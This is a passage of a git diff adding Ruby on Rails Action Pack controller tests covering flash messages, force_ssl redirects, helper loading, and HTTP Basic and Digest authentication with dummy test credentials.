+ @flash_copy = {}.update(flash)
+ render :nothing => true
+ end
+
+ def filter_halting_action
+ @flash_copy = {}.update(flash)
+ end
+
+ def halt_and_redir
+ flash["foo"] = "bar"
+ redirect_to :action => "std_action"
+ @flash_copy = {}.update(flash)
+ end
+
+ def redirect_with_alert
+ redirect_to '/nowhere', :alert => "Beware the nowheres!"
+ end
+
+ def redirect_with_notice
+ redirect_to '/somewhere', :notice => "Good luck in the somewheres!"
+ end
+
+ def render_with_flash_now_alert
+ flash.now.alert = "Beware the nowheres now!"
+ render :inline => "hello"
+ end
+
+ def render_with_flash_now_notice
+ flash.now.notice = "Good luck in the somewheres now!"
+ render :inline => "hello"
+ end
+
+ def redirect_with_other_flashes
+ redirect_to '/wonderland', :flash => { :joyride => "Horses!" }
+ end
+
+ def redirect_with_foo_flash
+ redirect_to "/wonderland", :foo => 'for great justice'
+ end
+ end
+
+ tests TestController
+
+ def test_flash
+ get :set_flash
+
+ get :use_flash
+ assert_equal "hello", assigns["flash_copy"]["that"]
+ assert_equal "hello", assigns["flashy"]
+
+ get :use_flash
+ assert_nil assigns["flash_copy"]["that"], "On second flash"
+ end
+
+ def test_keep_flash
+ get :set_flash
+
+ get :use_flash_and_keep_it
+ assert_equal "hello", assigns["flash_copy"]["that"]
+ assert_equal "hello", assigns["flashy"]
+
+ get :use_flash
+ assert_equal "hello", assigns["flash_copy"]["that"], "On second flash"
+
+ get :use_flash
+ assert_nil assigns["flash_copy"]["that"], "On third flash"
+ end
+
+ def test_flash_now
+ get :set_flash_now
+ assert_equal "hello", assigns["flash_copy"]["that"]
+ assert_equal "bar" , assigns["flash_copy"]["foo"]
+ assert_equal "hello", assigns["flashy"]
+
+ get :attempt_to_use_flash_now
+ assert_nil assigns["flash_copy"]["that"]
+ assert_nil assigns["flash_copy"]["foo"]
+ assert_nil assigns["flashy"]
+ end
+
+ def test_update_flash
+ get :set_flash
+ get :use_flash_and_update_it
+ assert_equal "hello", assigns["flash_copy"]["that"]
+ assert_equal "hello again", assigns["flash_copy"]["this"]
+ get :use_flash
+ assert_nil assigns["flash_copy"]["that"], "On second flash"
+ assert_equal "hello again", assigns["flash_copy"]["this"], "On second flash"
+ end
+
+ def test_flash_after_reset_session
+ get :use_flash_after_reset_session
+ assert_equal "hello", assigns["flashy_that"]
+ assert_equal "good-bye", assigns["flashy_this"]
+ assert_nil assigns["flashy_that_reset"]
+ end
+
+ def test_does_not_set_the_session_if_the_flash_is_empty
+ get :std_action
+ assert_nil session["flash"]
+ end
+
+ def test_sweep_after_halted_action_chain
+ get :std_action
+ assert_nil assigns["flash_copy"]["foo"]
+ get :filter_halting_action
+ assert_equal "bar", assigns["flash_copy"]["foo"]
+ get :std_action # follow redirection
+ assert_equal "bar", assigns["flash_copy"]["foo"]
+ get :std_action
+ assert_nil assigns["flash_copy"]["foo"]
+ end
+
+ def test_keep_and_discard_return_values
+ flash = ActionDispatch::Flash::FlashHash.new
+ flash.update(:foo => :foo_indeed, :bar => :bar_indeed)
+
+ assert_equal(:foo_indeed, flash.discard(:foo)) # valid key passed
+ assert_nil flash.discard(:unknown) # non existant key passed
+ assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard().to_hash) # nothing passed
+ assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard(nil).to_hash) # nothing passed
+
+ assert_equal(:foo_indeed, flash.keep(:foo)) # valid key passed
+ assert_nil flash.keep(:unknown) # non existant key passed
+ assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep().to_hash) # nothing passed
+ assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep(nil).to_hash) # nothing passed
+ end
+
+ def test_redirect_to_with_alert
+ get :redirect_with_alert
+ assert_equal "Beware the nowheres!", @controller.send(:flash)[:alert]
+ end
+
+ def test_redirect_to_with_notice
+ get :redirect_with_notice
+ assert_equal "Good luck in the somewheres!", @controller.send(:flash)[:notice]
+ end
+
+ def test_render_with_flash_now_alert
+ get :render_with_flash_now_alert
+ assert_equal "Beware the nowheres now!", @controller.send(:flash)[:alert]
+ end
+
+ def test_render_with_flash_now_notice
+ get :render_with_flash_now_notice
+ assert_equal "Good luck in the somewheres now!", @controller.send(:flash)[:notice]
+ end
+
+ def test_redirect_to_with_other_flashes
+ get :redirect_with_other_flashes
+ assert_equal "Horses!", @controller.send(:flash)[:joyride]
+ end
+
+ def test_redirect_to_with_adding_flash_types
+ @controller.class.add_flash_types :foo
+ get :redirect_with_foo_flash
+ assert_equal "for great justice", @controller.send(:flash)[:foo]
+ end
+end
+
+class FlashIntegrationTest < ActionDispatch::IntegrationTest
+ SessionKey = '_myapp_session'
+ Generator = ActiveSupport::LegacyKeyGenerator.new('b3c631c314c0bbca50c1b2843150fe33')
+
+ class TestController < ActionController::Base
+ add_flash_types :bar
+
+ def set_flash
+ flash["that"] = "hello"
+ head :ok
+ end
+
+ def set_flash_now
+ flash.now["that"] = "hello"
+ head :ok
+ end
+
+ def use_flash
+ render :inline => "flash: #{flash["that"]}"
+ end
+
+ def set_bar
+ flash[:bar] = "for great justice"
+ head :ok
+ end
+ end
+
+ def test_flash
+ with_test_route_set do
+ get '/set_flash'
+ assert_response :success
+ assert_equal "hello", @request.flash["that"]
+
+ get '/use_flash'
+ assert_response :success
+ assert_equal "flash: hello", @response.body
+ end
+ end
+
+ def test_just_using_flash_does_not_stream_a_cookie_back
+ with_test_route_set do
+ get '/use_flash'
+ assert_response :success
+ assert_nil @response.headers["Set-Cookie"]
+ assert_equal "flash: ", @response.body
+ end
+ end
+
+ def test_setting_flash_does_not_raise_in_following_requests
+ with_test_route_set do
+ env = { 'action_dispatch.request.flash_hash' => ActionDispatch::Flash::FlashHash.new }
+ get '/set_flash', nil, env
+ get '/set_flash', nil, env
+ end
+ end
+
+ def test_setting_flash_now_does_not_raise_in_following_requests
+ with_test_route_set do
+ env = { 'action_dispatch.request.flash_hash' => ActionDispatch::Flash::FlashHash.new }
+ get '/set_flash_now', nil, env
+ get '/set_flash_now', nil, env
+ end
+ end
+
+ def test_added_flash_types_method
+ with_test_route_set do
+ get '/set_bar'
+ assert_response :success
+ assert_equal 'for great justice', @controller.bar
+ end
+ end
+
+ private
+
+ # Overwrite get to send SessionSecret in env hash
+ def get(path, parameters = nil, env = {})
+ env["action_dispatch.key_generator"] ||= Generator
+ super
+ end
+
+ def with_test_route_set
+ with_routing do |set|
+ set.draw do
+ get ':action', :to => FlashIntegrationTest::TestController
+ end
+
+ @app = self.class.build_app(set) do |middleware|
+ middleware.use ActionDispatch::Session::CookieStore, :key => SessionKey
+ middleware.use ActionDispatch::Flash
+ middleware.delete "ActionDispatch::ShowExceptions"
+ end
+
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb
new file mode 100644
index 0000000..3655b90
--- /dev/null
+++ b/actionpack/test/controller/force_ssl_test.rb
@@ -0,0 +1,337 @@
+require 'abstract_unit'
+
+class ForceSSLController < ActionController::Base
+ def banana
+ render :text => "monkey"
+ end
+
+ def cheeseburger
+ render :text => "sikachu"
+ end
+end
+
+class ForceSSLControllerLevel < ForceSSLController
+ force_ssl
+end
+
+class ForceSSLCustomOptions < ForceSSLController
+ force_ssl :host => "secure.example.com", :only => :redirect_host
+ force_ssl :port => 8443, :only => :redirect_port
+ force_ssl :subdomain => 'secure', :only => :redirect_subdomain
+ force_ssl :domain => 'secure.com', :only => :redirect_domain
+ force_ssl :path => '/foo', :only => :redirect_path
+ force_ssl :status => :found, :only => :redirect_status
+ force_ssl :flash => { :message => 'Foo, Bar!' }, :only => :redirect_flash
+ force_ssl :alert => 'Foo, Bar!', :only => :redirect_alert
+ force_ssl :notice => 'Foo, Bar!', :only => :redirect_notice
+
+ def force_ssl_action
+ render :text => action_name
+ end
+
+ alias_method :redirect_host, :force_ssl_action
+ alias_method :redirect_port, :force_ssl_action
+ alias_method :redirect_subdomain, :force_ssl_action
+ alias_method :redirect_domain, :force_ssl_action
+ alias_method :redirect_path, :force_ssl_action
+ alias_method :redirect_status, :force_ssl_action
+ alias_method :redirect_flash, :force_ssl_action
+ alias_method :redirect_alert, :force_ssl_action
+ alias_method :redirect_notice, :force_ssl_action
+
+ def use_flash
+ render :text => flash[:message]
+ end
+
+ def use_alert
+ render :text => flash[:alert]
+ end
+
+ def use_notice
+ render :text => flash[:notice]
+ end
+end
+
+class ForceSSLOnlyAction < ForceSSLController
+ force_ssl :only => :cheeseburger
+end
+
+class ForceSSLExceptAction < ForceSSLController
+ force_ssl :except => :banana
+end
+
+class ForceSSLIfCondition < ForceSSLController
+ force_ssl :if => :use_force_ssl?
+
+ def use_force_ssl?
+ action_name == 'cheeseburger'
+ end
+end
+
+class ForceSSLFlash < ForceSSLController
+ force_ssl :except => [:banana, :set_flash, :use_flash]
+
+ def set_flash
+ flash["that"] = "hello"
+ redirect_to '/force_ssl_flash/cheeseburger'
+ end
+
+ def use_flash
+ @flash_copy = {}.update flash
+ @flashy = flash["that"]
+ render :inline => "hello"
+ end
+end
+
+class RedirectToSSL < ForceSSLController
+ def banana
+ force_ssl_redirect || render(:text => 'monkey')
+ end
+ def cheeseburger
+ force_ssl_redirect('secure.cheeseburger.host') || render(:text => 'ihaz')
+ end
+end
+
+class ForceSSLControllerLevelTest < ActionController::TestCase
+ tests ForceSSLControllerLevel
+
+ def test_banana_redirects_to_https
+ get :banana
+ assert_response 301
+ assert_equal "https://test.host/force_ssl_controller_level/banana", redirect_to_url
+ end
+
+ def test_banana_redirects_to_https_with_extra_params
+ get :banana, :token => "secret"
+ assert_response 301
+ assert_equal "https://test.host/force_ssl_controller_level/banana?token=secret", redirect_to_url
+ end
+
+ def test_cheeseburger_redirects_to_https
+ get :cheeseburger
+ assert_response 301
+ assert_equal "https://test.host/force_ssl_controller_level/cheeseburger", redirect_to_url
+ end
+end
+
+class ForceSSLCustomOptionsTest < ActionController::TestCase
+ tests ForceSSLCustomOptions
+
+ def setup
+ @request.env['HTTP_HOST'] = 'www.example.com:80'
+ end
+
+ def test_redirect_to_custom_host
+ get :redirect_host
+ assert_response 301
+ assert_equal "https://secure.example.com/force_ssl_custom_options/redirect_host", redirect_to_url
+ end
+
+ def test_redirect_to_custom_port
+ get :redirect_port
+ assert_response 301
+ assert_equal "https://www.example.com:8443/force_ssl_custom_options/redirect_port", redirect_to_url
+ end
+
+ def test_redirect_to_custom_subdomain
+ get :redirect_subdomain
+ assert_response 301
+ assert_equal "https://secure.example.com/force_ssl_custom_options/redirect_subdomain", redirect_to_url
+ end
+
+ def test_redirect_to_custom_domain
+ get :redirect_domain
+ assert_response 301
+ assert_equal "https://www.secure.com/force_ssl_custom_options/redirect_domain", redirect_to_url
+ end
+
+ def test_redirect_to_custom_path
+ get :redirect_path
+ assert_response 301
+ assert_equal "https://www.example.com/foo", redirect_to_url
+ end
+
+ def test_redirect_to_custom_status
+ get :redirect_status
+ assert_response 302
+ assert_equal "https://www.example.com/force_ssl_custom_options/redirect_status", redirect_to_url
+ end
+
+ def test_redirect_to_custom_flash
+ get :redirect_flash
+ assert_response 301
+ assert_equal "https://www.example.com/force_ssl_custom_options/redirect_flash", redirect_to_url
+
+ get :use_flash
+ assert_response 200
+ assert_equal "Foo, Bar!", @response.body
+ end
+
+ def test_redirect_to_custom_alert
+ get :redirect_alert
+ assert_response 301
+ assert_equal "https://www.example.com/force_ssl_custom_options/redirect_alert", redirect_to_url
+
+ get :use_alert
+ assert_response 200
+ assert_equal "Foo, Bar!", @response.body
+ end
+
+ def test_redirect_to_custom_notice
+ get :redirect_notice
+ assert_response 301
+ assert_equal "https://www.example.com/force_ssl_custom_options/redirect_notice", redirect_to_url
+
+ get :use_notice
+ assert_response 200
+ assert_equal "Foo, Bar!", @response.body
+ end
+end
+
+class ForceSSLOnlyActionTest < ActionController::TestCase
+ tests ForceSSLOnlyAction
+
+ def test_banana_not_redirects_to_https
+ get :banana
+ assert_response 200
+ end
+
+ def test_cheeseburger_redirects_to_https
+ get :cheeseburger
+ assert_response 301
+ assert_equal "https://test.host/force_ssl_only_action/cheeseburger", redirect_to_url
+ end
+end
+
+class ForceSSLExceptActionTest < ActionController::TestCase
+ tests ForceSSLExceptAction
+
+ def test_banana_not_redirects_to_https
+ get :banana
+ assert_response 200
+ end
+
+ def test_cheeseburger_redirects_to_https
+ get :cheeseburger
+ assert_response 301
+ assert_equal "https://test.host/force_ssl_except_action/cheeseburger", redirect_to_url
+ end
+end
+
+class ForceSSLIfConditionTest < ActionController::TestCase
+ tests ForceSSLIfCondition
+
+ def test_banana_not_redirects_to_https
+ get :banana
+ assert_response 200
+ end
+
+ def test_cheeseburger_redirects_to_https
+ get :cheeseburger
+ assert_response 301
+ assert_equal "https://test.host/force_ssl_if_condition/cheeseburger", redirect_to_url
+ end
+end
+
+class ForceSSLFlashTest < ActionController::TestCase
+ tests ForceSSLFlash
+
+ def test_cheeseburger_redirects_to_https
+ get :set_flash
+ assert_response 302
+ assert_equal "http://test.host/force_ssl_flash/cheeseburger", redirect_to_url
+
+ # FIXME: AC::TestCase#build_request_uri doesn't build a new uri if PATH_INFO exists
+ @request.env.delete('PATH_INFO')
+
+ get :cheeseburger
+ assert_response 301
+ assert_equal "https://test.host/force_ssl_flash/cheeseburger", redirect_to_url
+
+ # FIXME: AC::TestCase#build_request_uri doesn't build a new uri if PATH_INFO exists
+ @request.env.delete('PATH_INFO')
+
+ get :use_flash
+ assert_equal "hello", assigns["flash_copy"]["that"]
+ assert_equal "hello", assigns["flashy"]
+ end
+end
+
+class ForceSSLDuplicateRoutesTest < ActionController::TestCase
+ tests ForceSSLControllerLevel
+
+ def test_force_ssl_redirects_to_same_path
+ with_routing do |set|
+ set.draw do
+ get '/foo', :to => 'force_ssl_controller_level#banana'
+ get '/bar', :to => 'force_ssl_controller_level#banana'
+ end
+
+ @request.env['PATH_INFO'] = '/bar'
+
+ get :banana
+ assert_response 301
+ assert_equal 'https://test.host/bar', redirect_to_url
+ end
+ end
+end
+
+class ForceSSLFormatTest < ActionController::TestCase
+ tests ForceSSLControllerLevel
+
+ def test_force_ssl_redirects_to_same_format
+ with_routing do |set|
+ set.draw do
+ get '/foo', :to => 'force_ssl_controller_level#banana'
+ end
+
+ get :banana, :format => :json
+ assert_response 301
+ assert_equal 'https://test.host/foo.json', redirect_to_url
+ end
+ end
+end
+
+class ForceSSLOptionalSegmentsTest < ActionController::TestCase
+ tests ForceSSLControllerLevel
+
+ def test_force_ssl_redirects_to_same_format
+ with_routing do |set|
+ set.draw do
+ scope '(:locale)' do
+ defaults :locale => 'en' do
+ get '/foo', :to => 'force_ssl_controller_level#banana'
+ end
+ end
+ end
+
+ @request.env['PATH_INFO'] = '/en/foo'
+ get :banana, :locale => 'en'
+ assert_equal 'en', @controller.params[:locale]
+ assert_response 301
+ assert_equal 'https://test.host/en/foo', redirect_to_url
+ end
+ end
+end
+
+class RedirectToSSLTest < ActionController::TestCase
+ tests RedirectToSSL
+ def test_banana_redirects_to_https_if_not_https
+ get :banana
+ assert_response 301
+ assert_equal "https://test.host/redirect_to_ssl/banana", redirect_to_url
+ end
+
+ def test_cheeseburgers_redirects_to_https_with_new_host_if_not_https
+ get :cheeseburger
+ assert_response 301
+ assert_equal "https://secure.cheeseburger.host/redirect_to_ssl/cheeseburger", redirect_to_url
+ end
+
+ def test_banana_does_not_redirect_if_already_https
+ request.env['HTTPS'] = 'on'
+ get :cheeseburger
+ assert_response 200
+ assert_equal 'ihaz', response.body
+ end
+end
\ No newline at end of file
diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb
new file mode 100644
index 0000000..248c811
--- /dev/null
+++ b/actionpack/test/controller/helper_test.rb
@@ -0,0 +1,269 @@
+require 'abstract_unit'
+
+ActionController::Base.helpers_path = File.expand_path('../../fixtures/helpers', __FILE__)
+
+module Fun
+ class GamesController < ActionController::Base
+ def render_hello_world
+ render :inline => "hello: <%= stratego %>"
+ end
+ end
+
+ class PdfController < ActionController::Base
+ def test
+ render :inline => "test: <%= foobar %>"
+ end
+ end
+end
+
+class AllHelpersController < ActionController::Base
+ helper :all
+end
+
+module ImpressiveLibrary
+ extend ActiveSupport::Concern
+ included do
+ helper_method :useful_function
+ end
+
+ def useful_function() end
+end
+
+ActionController::Base.send :include, ImpressiveLibrary
+
+class JustMeController < ActionController::Base
+ clear_helpers
+
+ def flash
+ render :inline => "<h1><%= notice %></h1>"
+ end
+
+ def lib
+ render :inline => '<%= useful_function %>'
+ end
+end
+
+class MeTooController < JustMeController
+end
+
+class HelpersPathsController < ActionController::Base
+ paths = ["helpers2_pack", "helpers1_pack"].map do |path|
+ File.join(File.expand_path('../../fixtures', __FILE__), path)
+ end
+ $:.unshift(*paths)
+
+ self.helpers_path = paths
+ helper :all
+
+ def index
+ render :inline => "<%= conflicting_helper %>"
+ end
+end
+
+module LocalAbcHelper
+ def a() end
+ def b() end
+ def c() end
+end
+
+class HelperPathsTest < ActiveSupport::TestCase
+ def setup
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ end
+
+ def test_helpers_paths_priority
+ request = ActionController::TestRequest.new
+ responses = HelpersPathsController.action(:index).call(request.env)
+
+ # helpers1_pack was given as a second path, so pack1_helper should be
+ # included as the second one
+ assert_equal "pack1", responses.last.body
+ end
+end
+
+class HelperTest < ActiveSupport::TestCase
+ class TestController < ActionController::Base
+ attr_accessor :delegate_attr
+ def delegate_method() end
+ end
+
+ def setup
+ # Increment symbol counter.
+ @symbol = (@@counter ||= 'A0').succ!.dup
+
+ # Generate new controller class.
+ controller_class_name = "Helper#{@symbol}Controller"
+ eval("class #{controller_class_name} < TestController; end")
+ @controller_class = self.class.const_get(controller_class_name)
+
+ # Set default test helper.
+ self.test_helper = LocalAbcHelper
+ end
+
+ def test_helper
+ assert_equal expected_helper_methods, missing_methods
+ assert_nothing_raised { @controller_class.helper TestHelper }
+ assert_equal [], missing_methods
+ end
+
+ def test_helper_method
+ assert_nothing_raised { @controller_class.helper_method :delegate_method }
+ assert master_helper_methods.include?(:delegate_method)
+ end
+
+ def test_helper_attr
+ assert_nothing_raised { @controller_class.helper_attr :delegate_attr }
+ assert master_helper_methods.include?(:delegate_attr)
+ assert master_helper_methods.include?(:delegate_attr=)
+ end
+
+ def call_controller(klass, action)
+ request = ActionController::TestRequest.new
+ klass.action(action).call(request.env)
+ end
+
+ def test_helper_for_nested_controller
+ assert_equal 'hello: Iz guuut!',
+ call_controller(Fun::GamesController, "render_hello_world").last.body
+ # request = ActionController::TestRequest.new
+ #
+ # resp = Fun::GamesController.action(:render_hello_world).call(request.env)
+ # assert_equal 'hello: Iz guuut!', resp.last.body
+ end
+
+ def test_helper_for_acronym_controller
+ assert_equal "test: baz", call_controller(Fun::PdfController, "test").last.body
+ #
+ # request = ActionController::TestRequest.new
+ # response = ActionController::TestResponse.new
+ # request.action = 'test'
+ #
+ # assert_equal 'test: baz', Fun::PdfController.process(request, response).body
+ end
+
+ def test_default_helpers_only
+ assert_equal [JustMeHelper], JustMeController._helpers.ancestors.reject(&:anonymous?)
+ assert_equal [MeTooHelper, JustMeHelper], MeTooController._helpers.ancestors.reject(&:anonymous?)
+ end
+
+ def test_base_helper_methods_after_clear_helpers
+ assert_nothing_raised do
+ call_controller(JustMeController, "flash")
+ end
+ end
+
+ def test_lib_helper_methods_after_clear_helpers
+ assert_nothing_raised do
+ call_controller(JustMeController, "lib")
+ end
+ end
+
+ def test_all_helpers
+ methods = AllHelpersController._helpers.instance_methods
+
+ # abc_helper.rb
+ assert methods.include?(:bare_a)
+
+ # fun/games_helper.rb
+ assert methods.include?(:stratego)
+
+ # fun/pdf_helper.rb
+ assert methods.include?(:foobar)
+ end
+
+ def test_all_helpers_with_alternate_helper_dir
+ @controller_class.helpers_path = File.expand_path('../../fixtures/alternate_helpers', __FILE__)
+
+ # Reload helpers
+ @controller_class._helpers = Module.new
+ @controller_class.helper :all
+
+ # helpers/abc_helper.rb should not be included
+ assert !master_helper_methods.include?(:bare_a)
+
+ # alternate_helpers/foo_helper.rb
+ assert master_helper_methods.include?(:baz)
+ end
+
+ def test_helper_proxy
+ methods = AllHelpersController.helpers.methods
+
+ # Action View
+ assert methods.include?(:pluralize)
+
+ # abc_helper.rb
+ assert methods.include?(:bare_a)
+
+ # fun/games_helper.rb
+ assert methods.include?(:stratego)
+
+ # fun/pdf_helper.rb
+ assert methods.include?(:foobar)
+ end
+
+ private
+ def expected_helper_methods
+ TestHelper.instance_methods
+ end
+
+ def master_helper_methods
+ @controller_class._helpers.instance_methods
+ end
+
+ def missing_methods
+ expected_helper_methods - master_helper_methods
+ end
+
+ def test_helper=(helper_module)
+ silence_warnings { self.class.const_set('TestHelper', helper_module) }
+ end
+end
+
+
+class IsolatedHelpersTest < ActiveSupport::TestCase
+ class A < ActionController::Base
+ def index
+ render :inline => '<%= shout %>'
+ end
+ end
+
+ class B < A
+ helper { def shout; 'B' end }
+
+ def index
+ render :inline => '<%= shout %>'
+ end
+ end
+
+ class C < A
+ helper { def shout; 'C' end }
+
+ def index
+ render :inline => '<%= shout %>'
+ end
+ end
+
+ def call_controller(klass, action)
+ request = ActionController::TestRequest.new
+ klass.action(action).call(request.env)
+ end
+
+ def setup
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ @request.action = 'index'
+ end
+
+ def test_helper_in_a
+ assert_raise(ActionView::Template::Error) { call_controller(A, "index") }
+ end
+
+ def test_helper_in_b
+ assert_equal 'B', call_controller(B, "index").last.body
+ end
+
+ def test_helper_in_c
+ assert_equal 'C', call_controller(C, "index").last.body
+ end
+end
diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb
new file mode 100644
index 0000000..90548d4
--- /dev/null
+++ b/actionpack/test/controller/http_basic_authentication_test.rb
@@ -0,0 +1,137 @@
+require 'abstract_unit'
+
+class HttpBasicAuthenticationTest < ActionController::TestCase
+ class DummyController < ActionController::Base
+ before_action :authenticate, only: :index
+ before_action :authenticate_with_request, only: :display
+ before_action :authenticate_long_credentials, only: :show
+
+ http_basic_authenticate_with :name => "David", :password => "Goliath", :only => :search
+
+ def index
+ render :text => "Hello Secret"
+ end
+
+ def display
+ render :text => 'Definitely Maybe'
+ end
+
+ def show
+ render :text => 'Only for loooooong credentials'
+ end
+
+ def search
+ render :text => 'All inline'
+ end
+
+ private
+
+ def authenticate
+ authenticate_or_request_with_http_basic do |username, password|
+ username == 'lifo' && password == 'world'
+ end
+ end
+
+ def authenticate_with_request
+ if authenticate_with_http_basic { |username, password| username == 'pretty' && password == 'please' }
+ @logged_in = true
+ else
+ request_http_basic_authentication("SuperSecret")
+ end
+ end
+
+ def authenticate_long_credentials
+ authenticate_or_request_with_http_basic do |username, password|
+ username == '1234567890123456789012345678901234567890' && password == '1234567890123456789012345678901234567890'
+ end
+ end
+ end
+
+ AUTH_HEADERS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION', 'REDIRECT_X_HTTP_AUTHORIZATION']
+
+ tests DummyController
+
+ AUTH_HEADERS.each do |header|
+ test "successful authentication with #{header.downcase}" do
+ @request.env[header] = encode_credentials('lifo', 'world')
+ get :index
+
+ assert_response :success
+ assert_equal 'Hello Secret', @response.body, "Authentication failed for request header #{header}"
+ end
+ test "successful authentication with #{header.downcase} and long credentials" do
+ @request.env[header] = encode_credentials('1234567890123456789012345678901234567890', '1234567890123456789012345678901234567890')
+ get :show
+
+ assert_response :success
+ assert_equal 'Only for loooooong credentials', @response.body, "Authentication failed for request header #{header} and long credentials"
+ end
+ end
+
+ AUTH_HEADERS.each do |header|
+ test "unsuccessful authentication with #{header.downcase}" do
+ @request.env[header] = encode_credentials('h4x0r', 'world')
+ get :index
+
+ assert_response :unauthorized
+ assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
+ end
+ test "unsuccessful authentication with #{header.downcase} and long credentials" do
+ @request.env[header] = encode_credentials('h4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0r', 'worldworldworldworldworldworldworldworld')
+ get :show
+
+ assert_response :unauthorized
+ assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header} and long credentials"
+ end
+ end
+
+ def test_encode_credentials_has_no_newline
+ username = 'laskjdfhalksdjfhalkjdsfhalksdjfhklsdjhalksdjfhalksdjfhlakdsjfh'
+ password = 'kjfhueyt9485osdfasdkljfh4lkjhakldjfhalkdsjf'
+ result = ActionController::HttpAuthentication::Basic.encode_credentials(
+ username, password)
+ assert_no_match(/\n/, result)
+ end
+
+ test "authentication request without credential" do
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "HTTP Basic: Access denied.\n", @response.body
+ assert_equal 'Basic realm="SuperSecret"', @response.headers['WWW-Authenticate']
+ end
+
+ test "authentication request with invalid credential" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials('pretty', 'foo')
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "HTTP Basic: Access denied.\n", @response.body
+ assert_equal 'Basic realm="SuperSecret"', @response.headers['WWW-Authenticate']
+ end
+
+ test "authentication request with valid credential" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials('pretty', 'please')
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authenticate with class method" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials('David', 'Goliath')
+ get :search
+ assert_response :success
+
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials('David', 'WRONG!')
+ get :search
+ assert_response :unauthorized
+ end
+
+ private
+
+ def encode_credentials(username, password)
+ "Basic #{::Base64.encode64("#{username}:#{password}")}"
+ end
+end
diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb
new file mode 100644
index 0000000..9f1c168
--- /dev/null
+++ b/actionpack/test/controller/http_digest_authentication_test.rb
@@ -0,0 +1,289 @@
+require 'abstract_unit'
+require 'active_support/key_generator'
+
+class HttpDigestAuthenticationTest < ActionController::TestCase
+ class DummyDigestController < ActionController::Base
+ before_action :authenticate, only: :index
+ before_action :authenticate_with_request, only: :display
+
+ USERS = { 'lifo' => 'world', 'pretty' => 'please',
+ 'dhh' => ::Digest::MD5::hexdigest(["dhh","SuperSecret","secret"].join(":"))}
+
+ def index
+ render :text => "Hello Secret"
+ end
+
+ def display
+ render :text => 'Definitely Maybe'
+ end
+
+ private
+
+ def authenticate
+ authenticate_or_request_with_http_digest("SuperSecret") do |username|
+ # Return the password
+ USERS[username]
+ end
+ end
+
+ def authenticate_with_request
+ if authenticate_with_http_digest("SuperSecret") { |username| USERS[username] }
+ @logged_in = true
+ else
+ request_http_digest_authentication("SuperSecret", "Authentication Failed")
+ end
+ end
+ end
+
+ AUTH_HEADERS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION', 'REDIRECT_X_HTTP_AUTHORIZATION']
+
+ tests DummyDigestController
+
+ setup do
+ # Used as secret in generating nonce to prevent tampering of timestamp
+ @secret = "4fb45da9e4ab4ddeb7580d6a35503d99"
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new(@secret)
+ end
+
+ teardown do
+ # ActionController::Base.session_options[:secret] = @old_secret
+ end
+
+ AUTH_HEADERS.each do |header|
+ test "successful authentication with #{header.downcase}" do
+ @request.env[header] = encode_credentials(:username => 'lifo', :password => 'world')
+ get :index
+
+ assert_response :success
+ assert_equal 'Hello Secret', @response.body, "Authentication failed for request header #{header}"
+ end
+ end
+
+ AUTH_HEADERS.each do |header|
+ test "unsuccessful authentication with #{header.downcase}" do
+ @request.env[header] = encode_credentials(:username => 'h4x0r', :password => 'world')
+ get :index
+
+ assert_response :unauthorized
+ assert_equal "HTTP Digest: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
+ end
+ end
+
+ test "authentication request without credential" do
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "Authentication Failed", @response.body
+ credentials = decode_credentials(@response.headers['WWW-Authenticate'])
+ assert_equal 'SuperSecret', credentials[:realm]
+ end
+
+ test "authentication request with nil credentials" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => nil, :password => nil)
+ get :index
+
+ assert_response :unauthorized
+ assert_equal "HTTP Digest: Access denied.\n", @response.body, "Authentication didn't fail for request"
+ assert_not_equal 'Hello Secret', @response.body, "Authentication didn't fail for request"
+ end
+
+ test "authentication request with invalid password" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'foo')
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "Authentication Failed", @response.body
+ end
+
+ test "authentication request with invalid nonce" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please', :nonce => "xxyyzz")
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "Authentication Failed", @response.body
+ end
+
+ test "authentication request with invalid opaque" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'foo', :opaque => "xxyyzz")
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "Authentication Failed", @response.body
+ end
+
+ test "authentication request with invalid realm" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'foo', :realm => "NotSecret")
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "Authentication Failed", @response.body
+ end
+
+ test "authentication request with valid credential" do
